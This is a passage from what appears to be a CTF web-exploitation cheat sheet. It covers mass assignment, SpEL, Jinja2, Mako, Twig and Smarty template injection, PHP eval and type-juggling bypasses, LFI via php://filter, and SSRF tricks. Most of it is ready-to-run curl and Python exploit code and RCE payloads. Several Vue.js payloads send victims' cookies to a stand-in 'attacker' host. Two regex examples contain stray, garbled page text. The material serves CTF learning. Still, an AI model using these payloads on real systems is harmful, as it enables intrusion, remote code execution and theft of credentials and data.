accepts JSON filter. Adding extra fields exposes internal data.\n```bash\n# UI sends: filter={\"region\":\"all\"}\n# Inject: filter={\"region\":\"all\",\"caseId\":\"*\"}\n# May return: case_detail, notes, proof codes\n```\n\n---\n\n## HTTP Response Header Data Hiding\n\nProof/flag in custom response headers (e.g., `x-archive-tag`, `x-flag`):\n```bash\ncurl -sI \"https://target/api/endpoint?seed=\u003cseed>\"\ncurl -sv \"https://target/api/endpoint\" 2>&1 | grep -i \"x-\"\n```\n\n**Key insight:** Flags and proof codes hidden in custom HTTP response headers (e.g., `x-flag`, `x-archive-tag`) are invisible in browser-rendered responses. Always inspect response headers with `curl -sI` or browser dev tools, especially for API endpoints.\n\n---\n\n## WebSocket Mass Assignment\n```json\n{\"username\": \"user\", \"isAdmin\": true}\n```\nHandler doesn't filter fields → privilege escalation.\n\n**Key insight:** WebSocket handlers that directly map JSON properties to objects without whitelisting allow mass assignment. Add privileged fields like `isAdmin`, `role`, or `balance` to the JSON payload -- if the server doesn't explicitly filter them, they overwrite the corresponding object properties.\n\n---\n\n## Thymeleaf SpEL SSTI + Spring FileCopyUtils WAF Bypass (ApoorvCTF 2026)\n\n**Pattern (Sugar Heist):** Spring Boot app with Thymeleaf template preview endpoint. WAF blocks standard file I/O classes (`Runtime`, `ProcessBuilder`, `FileInputStream`) but not Spring framework utilities.\n\n**Attack chain:**\n1. **Mass assignment** to gain admin role (add `\"role\": \"ADMIN\"` to registration JSON)\n2. **SpEL injection** via template preview endpoint\n3. **WAF bypass** using `org.springframework.util.FileCopyUtils` instead of blocked classes\n\n```bash\n# Step 1: Register as admin via mass assignment\ncurl -X POST http://target/api/register \\\n -H \"Content-Type: application/json\" \\\n -d '{\"username\":\"attacker\",\"password\":\"pass\",\"email\":\"[email protected]\",\"role\":\"ADMIN\"}'\n\n# Step 2: Directory listing via SpEL (java.io.File not blocked)\ncurl -X POST http://target/api/admin/preview \\\n -H \"Content-Type: application/json\" \\\n -H \"X-Api-Token: \u003ctoken>\" \\\n -d '{\"template\": \"${T(java.util.Arrays).toString(new java.io.File(\\\"/app\\\").list())}\"}'\n\n# Step 3: Read flag using Spring FileCopyUtils + string concat to bypass WAF\ncurl -X POST http://target/api/admin/preview \\\n -H \"Content-Type: application/json\" \\\n -H \"X-Api-Token: \u003ctoken>\" \\\n -d '{\"template\": \"${new java.lang.String(T(org.springframework.util.FileCopyUtils).copyToByteArray(new java.io.File(\\\"/app/fl\\\"+\\\"ag.txt\\\")))}\"}'\n```\n\n**Key insight:** Distroless containers have no shell (`/bin/sh`), making `Runtime.exec()` useless even without WAF. Spring's `FileCopyUtils.copyToByteArray()` reads files without spawning processes. String concatenation (`\"fl\"+\"ag.txt\"`) bypasses static keyword matching in WAFs.\n\n**Alternative SpEL file read payloads:**\n```text\n${T(org.springframework.util.StreamUtils).copyToString(new java.io.FileInputStream(\"/flag.txt\"), T(java.nio.charset.StandardCharsets).UTF_8)}\n${new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(\"/flag.txt\")))}\n```\n\n**Detection:** Spring Boot with `/api/admin/preview` or similar template rendering endpoint. Thymeleaf error messages in responses. `X-Api-Token` header pattern.\n\n---\n\n## PHP eval() Function-Regex Bypass via current(getallheaders()) (RCTF 2018)\n\n**Pattern (calc):** A PHP sandbox passes user input to `eval()` only after a recursive regex `/[^\\W_]+\\((?R)?\\)/` verifies the string contains a single function call (identifier + parentheses). The filter rejects underscores, digits-before-letter, and multi-statement bodies, which kills obvious payloads like `system($_GET[...])`.\n\n**Bypass:** `current(getallheaders())` is a single bare function-call expression that passes the regex. At runtime it returns the first HTTP header value — an arbitrary attacker-controlled string — which can then be passed into a second nested `eval` or `assert`.\n\n```bash\ncurl \"http://target/?cmd=eval(current(getallheaders()));\" \\\n -H \"Zzz: system('cat /flag');\"\n```\n\n- `getallheaders()` returns an associative array of the request headers.\n- `current()` extracts the first element (PHP's header order is stable enough to force your header to index 0 by sending it first or using a name like `Zzz` that wins alphabetical ties).\n- The outer `eval` consumes the returned string and executes it.\n\n**Key insight:** Any regex filter that only inspects the *form* of an expression (function-name + parens) can be broken by functions whose return values become the next payload. Focus on PHP functions that read attacker-controlled storage (`getallheaders`, `get_defined_vars`, `file_get_contents('php://input')`, `current($_SERVER)`) — they let you smuggle arbitrary strings past syntactic filters.\n\n**References:** RCTF 2018 — writeup 10150\n\n---\n\n## Python f-string Format Injection Blind Extraction (Meepwn CTF Quals 2018)\n\n**Pattern:** A Python 3.6+ application evaluates user-controlled content inside an f-string template (`f\"... {user} ...\"`). Explicit quotes are filtered, so `{FLAG}` returns the flag's `repr()` but the attacker cannot concatenate strings or call functions with string arguments.\n\n**Bypass — boolean short-circuit + format spec:**\n```python\n# The f-string spec lets you use comparisons and arithmetic inside {}.\n# `FLAG > 'c'` evaluates to True or False depending on lexicographic order.\n# `True or 14` short-circuits to True; False triggers the fallback 14 which\n# is then formatted as hex ('e'). This turns the template into a one-bit\n# oracle that reveals 'FLAG[0] > c' per request.\npayload = \"{FLAG>'c' or 14:x}\"\n# Request returns \"True\" or \"e\" — the attacker reads one comparison bit.\n```\n\nIterate the comparison character to binary-search each byte of `FLAG` without ever emitting a forbidden quote outside the template.\n\n**Key insight:** f-strings evaluate full Python expressions inside `{}`. Any filter that only looks at the surrounding source (e.g., \"no quotes, no `__class__`\") fails because the expression can use identifiers already in scope, comparisons, and the format-spec `:x`/`:b`/`:c` conversions to turn any value into attacker-readable output. When direct string manipulation is banned, use comparisons against pre-existing constants or against other variables and read the result bit-by-bit.\n\n**References:** Meepwn CTF Quals 2018 — writeups 10433, 10434\n\n---\n\n*See also: [server-side.md](server-side.md) for core injection attacks (SQLi, SSTI, SSRF, XXE, command injection, PHP type juggling, PHP file inclusion).*\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":21998,"content_sha256":"b95360a2a18b0f484d0d18ad31c703a11ded5a2f049e6e3a521579298f9c83b0"},{"filename":"server-side.md","content":"# CTF Web - Server-Side Injection Attacks\n\n## Table of Contents\n- [PHP Type Juggling](#php-type-juggling)\n- [PHP File Inclusion / php://filter](#php-file-inclusion--phpfilter)\n- [SQL Injection](#sql-injection) — moved to [sql-injection.md](sql-injection.md)\n- [Python str.format() Attribute Traversal (PlaidCTF 2017)](#python-strformat-attribute-traversal-plaidctf-2017)\n- [SSTI (Server-Side Template Injection)](#ssti-server-side-template-injection)\n - [Jinja2 RCE](#jinja2-rce)\n - [Go Template Injection](#go-template-injection)\n - [EJS Server-Side Template Injection](#ejs-server-side-template-injection)\n - [ERB SSTI + Sequel::DATABASES Bypass (BearCatCTF 2026)](#erb-ssti--sequeldatabases-bypass-bearcatctf-2026)\n - [Mako SSTI](#mako-ssti)\n - [Twig SSTI](#twig-ssti)\n - [Vue.js Template Injection via toString.constructor (VolgaCTF 2018)](#vuejs-template-injection-via-tostringconstructor-volgactf-2018)\n - [SSTI Quote Filter Bypass via `__dict__.update()` (ApoorvCTF 2026)](#ssti-quote-filter-bypass-via-__dict__update-apoorvctf-2026)\n- [SSRF](#ssrf)\n - [Host Header SSRF (MireaCTF)](#host-header-ssrf-mireactf)\n - [DNS Rebinding for TOCTOU (Time-of-Check to Time-of-Use)](#dns-rebinding-for-toctou-time-of-check-to-time-of-use)\n - [Curl Redirect Chain Bypass](#curl-redirect-chain-bypass)\n - [Unescaped-Dot Regex Allowlist Bypass (Meepwn CTF Quals 2018)](#unescaped-dot-regex-allowlist-bypass-meepwn-ctf-quals-2018)\n - [SNI-Based FTP Protocol Smuggling via HTTPS (PlaidCTF 2018)](#sni-based-ftp-protocol-smuggling-via-https-plaidctf-2018)\n - [Apache mod_vhost_alias Docroot Override via Host Header (RCTF 2018)](#apache-mod_vhost_alias-docroot-override-via-host-header-rctf-2018)\n- [PHP hash_hmac Returns NULL with Array Input (AceBear 2018)](#php-hash_hmac-returns-null-with-array-input-acebear-2018)\n- [Smarty SSTI via CVE-2017-1000480 Comment Injection (Insomni'hack 2018)](#smarty-ssti-via-cve-2017-1000480-comment-injection-insomnihack-2018)\n- [Recursive-Replace Traversal `....//` (35C3 2018)](#recursive-replace-traversal--35c3-2018)\n- [PHP (int) Cast Leading-Number Traversal (35C3 2018)](#php-int-cast-leading-number-traversal-35c3-2018)\n- [strpos Substring-Match Blacklist Bypass (TUCTF 2018)](#strpos-substring-match-blacklist-bypass-tuctf-2018)\n- [User-Agent-Gated robots.txt (TAMUctf 2019)](#user-agent-gated-robotstxt-tamuctf-2019)\n- [PHP log()/INF Math Equality + Recursive urldecode() (Pragyan CTF 2019)](#php-loginf-math-equality--recursive-urldecode-pragyan-ctf-2019)\n\nFor XXE, XML injection, PHP variable-variable abuse, uniqid/regex bypasses, command injection, and GraphQL exploitation, see [server-side-2.md](server-side-2.md). For code execution attacks (Ruby/Perl/JS/LaTeX/Prolog injection, PHP preg_replace /e, ReDoS, file upload to RCE, PHP deserialization, XPath injection, Thymeleaf SpEL SSTI), see [server-side-exec.md](server-side-exec.md). For SQLi keyword fragmentation, SQL WHERE bypass, SQL via DNS, bash brace expansion, Common Lisp injection, PHP7 OPcache, and more, see [server-side-exec-2.md](server-side-exec-2.md). For deserialization attacks (Java, Pickle) and race conditions, see [server-side-deser.md](server-side-deser.md). For CVE-specific exploits, path traversal bypasses, Flask/Werkzeug debug, and other advanced techniques, see [server-side-advanced.md](server-side-advanced.md).\n\n---\n\n## PHP Type Juggling\n\n**Pattern:** PHP loose comparison (`==`) performs implicit type conversion, leading to unexpected equality results that bypass authentication and validation checks.\n\n**Comparison table (all `true` with `==`):**\n| Comparison | Result | Why |\n|-----------|--------|-----|\n| `0 == \"php\"` | `true` | Non-numeric string converts to `0` |\n| `0 == \"\"` | `true` | Empty string converts to `0` |\n| `\"0\" == false` | `true` | `\"0\"` is falsy |\n| `NULL == false` | `true` | Both falsy |\n| `NULL == \"\"` | `true` | Both falsy |\n| `NULL == array()` | `true` | Both empty |\n| `\"0e123\" == \"0e456\"` | `true` | Both parse as `0` in scientific notation |\n\n**Auth bypass with type juggling:**\n```php\n// Vulnerable: if ($input == $password)\n// If $password starts with \"0e\" followed by digits (MD5 \"magic hashes\"):\n// md5(\"240610708\") = \"0e462097431906509019562988736854\"\n// md5(\"QNKCDZO\") = \"0e830400451993494058024219903391\"\n// Both compare as 0 == 0 → true\n```\n\n**Exploit via JSON type confusion:**\n```bash\n# Send integer 0 instead of string to bypass strcmp/==\ncurl -X POST http://target/login \\\n -H 'Content-Type: application/json' \\\n -d '{\"password\": 0}'\n# PHP: 0 == \"any_non_numeric_string\" → true\n```\n\n**Array bypass for strcmp:**\n```bash\n# strcmp(array, string) returns NULL, which == 0 == false\ncurl http://target/login -d 'password[]=anything'\n# PHP: strcmp([\"anything\"], \"secret\") → NULL → if(!strcmp(...)) passes\n```\n\n**Prevention:** Use strict comparison (`===`) which checks both value and type.\n\n**Key insight:** Always test `0`, `\"\"`, `NULL`, `[]`, and `\"0e...\"` magic hash values against PHP comparison endpoints. JSON `Content-Type` allows sending integer `0` where the application expects a string.\n\n---\n\n## PHP File Inclusion / php://filter\n\n**Pattern:** PHP `include`, `require`, `require_once` accept dynamic paths. Combined with `php://filter`, leak source code without execution.\n\n**Basic LFI:**\n```php\n// Vulnerable: include($_GET['page'] . \".php\");\n// Exploit: page=../../../../etc/passwd%00 (null byte, PHP \u003c 5.3.4)\n// Modern: page=php://filter/convert.base64-encode/resource=index\n```\n\n**Source code disclosure via php://filter:**\n```bash\n# Base64-encode prevents PHP execution, leaks raw source\ncurl \"http://target/?page=php://filter/convert.base64-encode/resource=config\"\n# Returns: PD9waHAgJHBhc3N3b3JkID0gInMzY3IzdCI7IC...\necho \"PD9waHAg...\" | base64 -d\n# Output: \u003c?php $password = \"s3cr3t\"; ...\n```\n\n**Filter chains for RCE (PHP >= 7):**\n```bash\n# Chain convert filters to write arbitrary content\nphp://filter/convert.iconv.UTF-8.CSISO2022KR|convert.base64-encode|..../resource=php://temp\n```\n\n**Common LFI targets:**\n```text\n/etc/passwd # User enumeration\n/proc/self/environ # Environment variables (secrets)\n/proc/self/cmdline # Process command line\n/var/log/apache2/access.log # Log poisoning vector\n/var/www/html/config.php # Application secrets\nphp://filter/convert.base64-encode/resource=index # Source code\n```\n\n**Key insight:** `php://filter/convert.base64-encode/resource=` is the most reliable way to read PHP source code through an LFI — base64 encoding prevents the included file from being executed as PHP.\n\n---\n\n## SQL Injection\n\nSQL injection techniques have been moved to a dedicated file. See [sql-injection.md](sql-injection.md) for all SQL injection techniques.\n\n---\n\n## Python str.format() Attribute Traversal (PlaidCTF 2017)\n\n**Pattern:** Python's `str.format()` method allows attribute/index traversal on format arguments. When user input reaches `.format(obj)`, attackers can access arbitrary attributes of the passed objects.\n\n```python\n# Leak object attributes via format string\npayload = \"{0.__class__.__mro__}\"\npayload = \"{0.secret_field}\"\n\n# In Flask: endpoint uses new_name.format(player_object)\n# Send: {0.pykemon} to leak all pykemon objects\n\n# Access nested attributes\n\"{0.__class__.__init__.__globals__}\"\n\n# Dictionary key access via bracket notation\n\"{0[secret_key]}\"\n\n# Chaining attribute and index access\n\"{0.__class__.__mro__[1].__subclasses__()}\"\n```\n\n**Common vulnerable patterns:**\n```python\n# Vulnerable: user input as format string\ngreeting = user_input.format(current_user)\n\n# Vulnerable: format with request object\nmessage = template_str.format(request)\n\n# Safe alternative: use positional or keyword args only\ngreeting = \"Hello, {name}!\".format(name=user_input)\n```\n\n**Key insight:** Unlike `%s` formatting, Python `str.format()` allows dot-notation attribute traversal (`{0.attr.subattr}`) and bracket indexing (`{0[key]}`), turning any format call with user input into an info leak. This is distinct from SSTI — it does not require a template engine, just a `.format()` call where the format string is user-controlled. Look for Flask/Django views that use `.format()` with user input on model objects or request objects.\n\n---\n\n## SSTI (Server-Side Template Injection)\n\n### Jinja2 RCE\n```python\n{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}\n\n# Without quotes (use bytes):\n{{self.__init__.__globals__.__builtins__.__import__(\n self.__init__.__globals__.__builtins__.bytes([0x6f,0x73]).decode()\n).popen('cat /flag').read()}}\n\n# Flask/Werkzeug:\n{{config.items()}}\n{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}\n```\n\n### Go Template Injection\n```go\n{{.ReadFile \"/flag.txt\"}}\n```\n\n### EJS Server-Side Template Injection\n**Pattern (Checking It Twice):** User input passed to `ejs.render()` in error paths.\n```javascript\n\u003c%- global.process.mainModule.require('./db.js').queryDb('SELECT * FROM table').map(row=>row.col1+row.col2).join(\" \") %>\n```\n\n### ERB SSTI + Sequel::DATABASES Bypass (BearCatCTF 2026)\n\n**Pattern (Treasure Hunt 5):** Sinatra (Ruby) app uses ERB templates. ERBSandbox restricts direct database access, but `Sequel::DATABASES` global list is unrestricted.\n\n**Detection:** Ruby/Sinatra app, `require 'erb'` in source. Cookie or parameter reflected in rendered response.\n\n```bash\n# Confirm SSTI\ncurl --cookie 'name=\u003c%= 7*7 %>' http://target/upload-highscore\n# Response contains \"49\"\n\n# Enumerate tables\ncurl --cookie 'name=\u003c%= Sequel::DATABASES.first.tables %>' ...\n# → [:players]\n\n# Dump schema\ncurl --cookie 'name=\u003c%= Sequel::DATABASES.first.schema(:players) %>' ...\n\n# Exfiltrate data\ncurl --cookie 'name=\u003c%= Sequel::DATABASES.first[:players].all %>' ...\n```\n\n**Key insight:** Even when ERB sandboxes block `DB` or `DATABASE` constants, `Sequel::DATABASES` is a global array listing all open Sequel connections. It bypasses variable-name-based restrictions. In Sinatra, `\u003c%= ... %>` tags in cookies or parameters that are reflected through ERB templates are common SSTI vectors.\n\n### Mako SSTI\n\n```python\n# Detection\n${7*7} # Returns 49\n\n# RCE\n\u003c%\n import os\n os.popen(\"id\").read()\n%>\n\n# One-liner\n${__import__('os').popen('cat /flag.txt').read()}\n```\n\n**Key insight:** Mako templates (Python) execute Python code directly inside `${}` or `\u003c% %>` blocks — no sandbox, no class traversal needed. Detection identical to Jinja2 (`${7*7}`) but payloads are plain Python.\n\n### Twig SSTI\n\n```twig\n{# Detection #}\n{{7*7}} {# Returns 49 #}\n{{7*'7'}} {# Returns 7777777 (string repeat = Twig, not Jinja2) #}\n\n{# File read #}\n{{'/etc/passwd'|file_excerpt(1,30)}}\n\n{# RCE (Twig 1.x) #}\n{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"id\")}}\n\n{# RCE (Twig 3.x via filter) #}\n{{['id']|map('system')|join}}\n{{['cat /flag.txt']|map('passthru')|join}}\n```\n\n**Key insight:** Distinguish Twig from Jinja2 via `{{7*'7'}}` — Twig repeats the string (`7777777`), Jinja2 returns `49`. Twig 3.x removed `_self.env` access; use `|map('system')` filter chain instead.\n\n### Vue.js Template Injection via toString.constructor (VolgaCTF 2018)\n\n**Pattern:** Vue.js client-side template injection using constructor chaining to execute JavaScript. When user input is rendered inside a Vue.js template (via `v-html`, server-side interpolation into Vue templates, or reflected into `{{ }}` delimiters), the template expression evaluator executes JavaScript.\n\n**Basic payloads:**\n```javascript\n// Constructor chaining to create and execute a Function object\n${toString.constructor('document.location=\"http://attacker/?\"+document.cookie')()}\n\n// Alternative constructor chain\n{{constructor.constructor('return fetch(\"http://attacker/?c=\"+document.cookie)')()}}\n\n// Using the _c (createElement) internal to confirm Vue context\n{{_c.constructor('return 1')()}}\n```\n\n**Payload variations for different Vue versions:**\n```javascript\n// Vue 2.x — template expressions have access to the component scope\n{{constructor.constructor('return this')().document.location='http://attacker/?c='+document.cookie}}\n\n// Vue 2.x — via toString\n${toString.constructor('alert(document.domain)')()}\n\n// Vue 3.x — stricter sandbox, but constructor chaining still works\n{{(_=toString.constructor('return document'))().cookie}}\n```\n\n**Detection and exploitation:**\n```python\nimport requests\n\ntarget = \"http://target/page\"\n\n# Step 1: Detect Vue.js template injection\nprobes = [\n \"{{7*7}}\", # Returns 49 if expressions evaluated\n \"{{toString()}}\", # Returns [object Object] or similar\n \"${7*7}\", # Template literal syntax (some Vue configs)\n]\nfor probe in probes:\n r = requests.get(target, params={\"name\": probe})\n print(f\"Probe: {probe} -> {r.text[:200]}\")\n\n# Step 2: Execute via constructor chain\npayload = \"${toString.constructor('document.location=\\\"http://attacker/?c=\\\"+document.cookie')()}\"\nr = requests.get(target, params={\"name\": payload})\n```\n\n**Key insight:** Vue.js template expressions evaluate JavaScript. When user input is rendered in a Vue template, `toString.constructor(code)()` creates and executes a Function object, bypassing simple keyword filters. This works because JavaScript's `constructor` property on any object provides access to the `Function` constructor. Vue 2.x is more permissive; Vue 3.x has a stricter expression sandbox but constructor chaining often still works. Look for reflected input in pages that include Vue.js and use `{{ }}` or `v-bind` directives.\n\n### SSTI Quote Filter Bypass via `__dict__.update()` (ApoorvCTF 2026)\n\n**Pattern (KameHame-Hack):** Jinja2 SSTI where quotes are filtered, preventing string arguments. Use Python keyword arguments to bypass — `__dict__.update(key=value)` requires no quotes.\n\n```python\n# Quotes filtered → can't do {{ config['SECRET_KEY'] }} or string args\n# But keyword arguments don't need quotes:\n{{player.__dict__.update(power_level=9999999) or player.name}}\n```\n\n**How it works:**\n1. `player.__dict__.update(power_level=9999999)` — modifies object attribute directly via keyword arg (no quotes needed)\n2. `or player.name` — `dict.update()` returns `None` (falsy), so Jinja2 renders `player.name` as output\n3. The attribute change persists across requests in the session\n\n**Key insight:** When SSTI filters block quotes/strings, Python's keyword argument syntax (`func(key=value)`) operates without any string delimiters. `__dict__.update()` can modify any object attribute to bypass application logic (e.g., game state, auth checks, permission levels).\n\n### Smarty SSTI via CVE-2017-1000480 Comment Injection (Insomni'hack 2018)\n\n**Pattern:** Smarty 3 \u003c 3.1.32 with custom template resources places the template source file path inside a PHP comment (`/* ... */`) in compiled templates. If the path is user-controlled and `*/` is not sanitized, injecting `*/phpcode();/*` breaks out of the comment and executes arbitrary PHP.\n\n```text\n# Vulnerable URL pattern — template ID/path is user-controlled:\nhttp://target/?id=*/echo file_get_contents('/flag');/*\n\n# What happens server-side in the compiled template:\n# \u003c?php /* source: /path/to/*/echo file_get_contents('/flag');/* */ ?>\n# The injected */ closes the comment, PHP code executes, /* reopens a comment\n```\n\n```php\n// Smarty compiled template (simplified):\n// Before injection:\n\u003c?php /* Smarty version x, compiled from \"user_template_name\" */ ?>\n\n// After injection with id = */echo file_get_contents('/flag');/*\n\u003c?php /* Smarty version x, compiled from \"*/echo file_get_contents('/flag');/*\" */ ?>\n// Breaks down to:\n// /* Smarty version x, compiled from \"*/ ← comment ends here\n// echo file_get_contents('/flag'); ← PHP executes\n// /*\" */ ← new comment\n```\n\n```python\nimport requests\n\n# Basic file read\nr = requests.get(\"http://target/\", params={\n \"id\": \"*/echo file_get_contents('/flag');/*\"\n})\nprint(r.text)\n\n# RCE\nr = requests.get(\"http://target/\", params={\n \"id\": \"*/system('id');/*\"\n})\nprint(r.text)\n\n# If parentheses are filtered, use backtick execution:\nr = requests.get(\"http://target/\", params={\n \"id\": \"*/echo `cat /flag`;/*\"\n})\n```\n\n**Key insight:** Smarty places the template source path in a `/* ... */` PHP comment. If the path is user-controlled and `*/` is not sanitized, arbitrary PHP executes. This affects custom Smarty resources (where the template name comes from user input), not the default file-based resource handler. Fixed in Smarty 3.1.32. Look for Smarty template rendering where the template identifier is derived from URL parameters.\n\n---\n\n## PHP hash_hmac Returns NULL with Array Input (AceBear 2018)\n\n**Pattern:** PHP's `hash_hmac()` returns `NULL` (with a warning, not a fatal error) when the `$data` argument is an array instead of a string. Sending `nonce[]=x` via POST forces the parameter to be an array, making the HMAC output predictable since `hash_hmac('sha256', NULL, $secret)` is equivalent to `hash_hmac('sha256', '', $secret)` -- but more critically, when the `$key` argument receives `NULL` from a prior broken `hash_hmac`, all subsequent HMAC computations use an empty key.\n\n```php\n// Vulnerable server code:\n$nonce = $_POST['nonce'];\n$secret = file_get_contents('/secret_key');\n$mac = hash_hmac('sha256', $nonce, $secret); // returns NULL if $nonce is array\n\n// Later: server uses $mac (NULL) as key for another HMAC\n$token = hash_hmac('sha256', 'gimmeflag', $mac);\n// hash_hmac('sha256', 'gimmeflag', NULL) == hash_hmac('sha256', 'gimmeflag', '')\n// This is a known constant the attacker can precompute!\n```\n\n```python\nimport hmac\nimport hashlib\nimport requests\n\n# Precompute the token that the server will generate when mac=NULL\n# hash_hmac('sha256', 'gimmeflag', NULL) in PHP == HMAC with empty key in Python\nknown_token = hmac.new(b'', b'gimmeflag', hashlib.sha256).hexdigest()\nprint(f\"Predicted token: {known_token}\")\n\n# Force nonce to be an array, breaking hash_hmac\nr = requests.post(\"http://target/getflag\", data={\n \"nonce[]\": \"x\", # PHP receives $_POST['nonce'] as array ['x']\n \"token\": known_token # server-side comparison succeeds\n})\nprint(r.text)\n```\n\n```text\n# HTTP request showing the array injection:\nPOST /getflag HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\nnonce[]=x&token=\u003cprecomputed_hmac>\n```\n\n**Key insight:** PHP silently coerces types, and `hash_hmac` with a non-string `$data` argument returns `NULL`/`false` instead of raising an error. Always check if parameters can be forced to arrays via `param[]=value`. This pattern extends to other PHP hash functions: `md5(array())` returns `NULL`, `sha1(array())` returns `NULL`. Any authentication flow chaining hash outputs as keys for subsequent operations is vulnerable when an intermediate hash can be forced to `NULL`.\n\n---\n\n## SSRF\n\n### Host Header SSRF (MireaCTF)\n\nServer-side code uses the HTTP `Host` header to construct internal validation requests:\n```go\n// Vulnerable: uses client-controlled Host header for internal request\nresponse, err := http.Get(\"http://\" + c.Request.Host + \"/validate\")\n```\n\n**Exploitation:**\n1. Set up an attacker-controlled server returning the desired response:\n ```python\n from flask import Flask\n app = Flask(__name__)\n\n @app.route(\"/validate\")\n def validate():\n return '{\"access\": true}'\n\n app.run(host='0.0.0.0', port=5000)\n ```\n2. Expose via ngrok or public VPS, then send the request with a spoofed Host header:\n ```bash\n curl -H \"Host: attacker.ngrok-free.app\" https://target/api/secret-object\n ```\n\n**Key insight:** The server makes an internal HTTP request to `http://\u003cHost-header>/validate` instead of `http://localhost/validate`. By setting the Host header to an attacker-controlled domain, the validation request goes to the attacker's server, which returns `{\"access\": true}`. This bypasses IP-based access controls entirely.\n\n**Detection:** Server code that builds URLs from `request.Host`, `request.headers['Host']`, `c.Request.Host` (Go/Gin), or `$_SERVER['HTTP_HOST']` (PHP) for internal service calls.\n\n---\n\n### DNS Rebinding for TOCTOU (Time-of-Check to Time-of-Use)\n```python\nrebind_url = \"http://7f000001.external_ip.rbndr.us:5001/flag\"\nrequests.post(f\"{TARGET}/register\", json={\"url\": rebind_url})\nrequests.post(f\"{TARGET}/trigger\", json={\"webhook_id\": webhook_id})\n```\n\n### Curl Redirect Chain Bypass\nAfter `CURLOPT_MAXREDIRS` exceeded, some implementations make one more unvalidated request:\n```c\ncase CURLE_TOO_MANY_REDIRECTS:\n curl_easy_getinfo(curl, CURLINFO_REDIRECT_URL, &redirect_url);\n curl_easy_setopt(curl, CURLOPT_URL, redirect_url); // NO VALIDATION\n curl_easy_perform(curl);\n```\n\n### Unescaped-Dot Regex Allowlist Bypass (Meepwn CTF Quals 2018)\n\n**Pattern:** SSRF target allowlist is enforced with a regex like `/^https?:\\/\\/meepwntube\\.0x1337\\.space$/`. The author forgot to escape the dots, so `.` matches any character. Register a domain whose literal name contains the right characters (`meepwntubex0x1337.space`) and point its A record at `127.0.0.1`.\n\n**Exploit:**\n```bash\n# Register meepwntubex0x1337.space, set A record → 127.0.0.1\ncurl \"https://target/fetch?url=http://meepwntubex0x1337.space/internal\"\n# Regex: /meepwntube.0x1337.space$/ matches (each '.' matched as '.' OR 'x')\n# DNS resolves to 127.0.0.1 → SSRF to internal services\n```\n\n**Key insight:** Always escape `.` in URL allowlist regexes (`\\.`) and anchor both ends (`^... ctf-web — Skillopedia ). Unescaped dots turn a whitelist into a wildcard-prefix/suffix match — any attacker-controlled domain that fits the skeleton passes. Combine with a DNS record pointing to the loopback/internal range for direct SSRF.\n\n**References:** Meepwn CTF Quals 2018 — writeup 10441\n\n### SNI-Based FTP Protocol Smuggling via HTTPS (PlaidCTF 2018)\n\n**Pattern (idIoT: Camera):** A custom FTP server exposes an `IP` command used by the passive mode handshake. The only attacker primitive is a browser fetch (XSS). Browsers refuse to send custom FTP commands, but they do open HTTPS connections — and the TLS ClientHello contains the Server Name Indication (SNI) as plaintext. The FTP server ignores unknown commands and treats both `\\n` and `\\x00` as command terminators, so a carefully chosen hostname leaks FTP commands into its parser.\n\n**Exploit:**\n```text\n# Victim SNI hostname encodes the FTP command. The SNI length field\n# (2 bytes: 0x00 0x69) becomes 'i\\n' when the first byte lines up with ASCII 'i'.\n# Subsequent payload bytes carry 'IP 240.1.2.3\\n' terminators.\n\nhttps://ip8.8.8.8.aaaaaa...aaa.127.0.0.1.xip.io:1212/\n```\n1. Host `ip8.8.8.8....xip.io` resolves to the FTP server port.\n2. The browser sends a TLS ClientHello whose SNI bytes embed `IP 240.1.2.3\\n`.\n3. The FTP server's line parser sees the SNI bytes as a new `IP` command, reassigning the passive-mode destination to the attacker.\n4. Subsequent `PASV` responses point the victim client at the attacker's IP, leaking the uploaded image.\n\n**Key insight:** Any plaintext framing inside an otherwise-encrypted protocol (SNI, HTTP Host header, ALPN) is a smuggling surface for servers that parse raw bytes. When victim browsers refuse to speak the target protocol directly, pick a protocol whose handshake echoes attacker-controlled bytes and tune the hostname so those bytes happen to form valid commands in the target parser.\n\n**References:** PlaidCTF 2018 — writeup 10018\n\n### Apache mod_vhost_alias Docroot Override via Host Header (RCTF 2018)\n\n**Pattern:** The server uses Apache's `mod_vhost_alias` with a wildcard document root such as `VirtualDocumentRoot /var/www/%0/`, so the directory served is derived at request time from the `Host` header. A PHP sandbox confines execution to `/var/www/sandbox/\u003ctoken>/`, but because the docroot itself is taken from the header, setting `Host: ../../var/www/` (or any neighboring vhost) points the runtime outside the sandbox before PHP ever looks at the `open_basedir`.\n\n**Exploit:**\n```http\nGET /shell.php HTTP/1.1\nHost: ../admin\n```\nApache resolves the docroot to `/var/www/admin`, so the request lands in a directory that was never intended to serve attacker code, bypassing the sandbox entirely.\n\n**Key insight:** When a multi-tenant Apache config computes the docroot from user-controlled inputs (`Host`, `X-Forwarded-Host`, cookies), every directory-based isolation mechanism downstream (PHP `open_basedir`, chroot helpers) depends on the inputs being sanitized *before* docroot resolution. Either pin the docroot via `ServerName`/`ServerAlias` or reject Host values containing `..`, `/`, or NULs at the Apache layer.\n\n**References:** RCTF 2018 — writeup 10150\n\n## Recursive-Replace Traversal `....//` (35C3 2018)\n\n**Pattern:** Filter strips `../` with a single `str_replace('../', '', $path)` pass. The payload `....//` contains `../` exactly once in the middle — after removal, the surrounding characters collapse into `../`.\n\n```text\nAccept-Language: ....//....//....//....//flag\n → ../ ../ ../ ../flag\n```\n\n**Key insight:** Non-recursive filters that remove substrings once leave their residue interleaved in a way that re-forms the target. `....//` is for `../`; `....\\\\\\\\` is for `..\\`. Use until the filter iterates to a fixed point.\n\n**References:** 35C3 CTF 2018 — flags, writeup 12831\n\n---\n\n## PHP (int) Cast Leading-Number Traversal (35C3 2018)\n\n**Pattern:** Validation casts the parameter to `(int)` and compares against a blacklist, but the raw string is later concatenated into a filesystem path. `(int) \"-4133353959107185265/../../admin\"` returns `-4133353959107185265`, so the numeric check passes while the raw value carries a path traversal.\n\n```text\nid=-4133353959107185265/../../admin\n```\n\n**Key insight:** Any validator that *casts* instead of *parses* only sees the leading numeric prefix. Always compare the original input against a strict regex (`^-?\\d+ ctf-web — Skillopedia ) when the same string is reused downstream.\n\n**References:** 35C3 CTF 2018 — Not(e) accessible, writeup 12879\n\n---\n\n## strpos Substring-Match Blacklist Bypass (TUCTF 2018)\n\n**Pattern:** PHP blocks LFI targets with `if 